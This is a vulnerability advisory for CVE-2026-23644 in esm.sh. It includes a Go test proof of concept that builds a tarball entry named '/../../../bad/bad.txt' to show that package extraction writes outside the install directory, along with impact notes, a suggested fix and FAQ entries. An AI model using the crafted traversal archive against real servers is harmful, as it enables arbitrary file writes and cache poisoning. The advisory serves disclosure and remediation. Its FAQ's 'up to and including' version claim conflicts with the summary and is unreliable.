CVE-2026-23644: esm.sh has path traversal in `extractPackageTarball` that enables file writes from malicious packages
Summary
The commit does not actually fix the path traversal bug. path.Clean basically normalizes a path but does not prevent absolute paths in a malicious tar file.
PoC
This test file can demonstrate the basic idea pretty easily:
go package server
import ( "archive/tar" "bytes" "compress/gzip" "testing" )
// TestExtractPackageTarballPathTraversal tests the extractPackageTarball function // with a malicious tarball containing a path traversal attempt func TestExtractPackageTarballPathTraversal(t testing.T) { // Create a temporary directory for testing installDir := "./testdata/good"
// Create a malicious tarball with path traversal var buf bytes.Buffer gw := gzip.NewWriter(&buf) tw := tar.NewWriter(gw)
// Add a normal file content := []byte("export const foo = 'bar';") header := &tar.Header{ Name: "package/index.js", Mode: 0644, Size: int64(len(content)), Typeflag: tar.TypeReg, } if err := tw.WriteHeader(header); err != nil { t.Fatal(err) } if , err := tw.Write(content); err != nil { t.Fatal(err) }
// Add a malicious file with path traversal bad := []byte("bad") header = &tar.Header{ Name: "/../../../bad/bad.txt", Mode: 0644, Size: int64(len(bad)), Typeflag: tar.TypeReg, } if err := tw.WriteHeader(header); err != nil { t.Fatal(err) } if , err := tw.Write(bad); err != nil { t.Fatal(err) }
tw.Close() gw.Close()
// Call extractPackageTarball with the malicious tarball if err := extractPackageTarball(installDir, "test-package", bytes.NewReader(buf.Bytes())); err != nil { t.Errorf("extractPackageTarball returned error: %v", err) } }
Impact
It, at the very least, seems to enable overwriting the esm.sh configuration file and poisoning cached packages.
Arbitrary file write can lead to server-side code execution (e.g. Writing to cron files) but it may not be feasible for the default deployment configuration that is checked in. Whether some self-hosted configuration is modified to enable code execution is unclear.
The limiting factors in the default setup that limit escalating this to code execution:
- extractPackageTarball has a file-extension check which makes some more "obvious" escalations like overwriting binaries in /esm/bin (e.g. deno) impractical since it requires the target file to have an allowlisted extension. - Using the Dockerfile in the repo as a baseline for the typical setup: The binary does not run as root and, for the most part, can really only write to /tmp and it's home directory. - The deployment scripts do not seem to rely on executing potentially poisoned files in /tmp.
Fix
Using os.Root seems like it will solve this issue and doesn't require new dependencies.
Other sources
esm.sh is a no-build content delivery network (CDN) for web development. Prior to Go pseeudoversion 0.0.0-20260116051925-c62ab83c589e, the software has a path traversal vulnerability due to an incomplete fix. path.Clean normalizes a path but does not prevent absolute paths in a malicious tar file. Commit https://github.com/esm-dev/esm.sh/commit/9d77b88c320733ff6689d938d85d246a3af9af16, corresponding to pseudoversion 0.0.0-20260116051925-c62ab83c589e, fixes this issue.
— MITRE
Affected Software
Remediation
Event History
Frequently Asked Questions
What is the severity of CVE-2026-23644?
CVE-2026-23644 is classified as a high severity vulnerability due to the potential for path traversal attacks that allow unauthorized file writes.
How do I fix CVE-2026-23644?
To fix CVE-2026-23644, upgrade to a version greater than 0.0.0-20260116051925-c62ab83c589e of the esm.sh software.
What kind of attack does CVE-2026-23644 allow?
CVE-2026-23644 allows attackers to exploit path traversal vulnerabilities to write files within the filesystem.
Which versions of esm.sh are affected by CVE-2026-23644?
CVE-2026-23644 affects all versions of esm.sh up to and including 0.0.0-20260116051925-c62ab83c589e.
Can I still use esm.sh if I am affected by CVE-2026-23644?
It is advised to discontinue the use of affected versions of esm.sh until you have upgraded to a secure version to mitigate risks.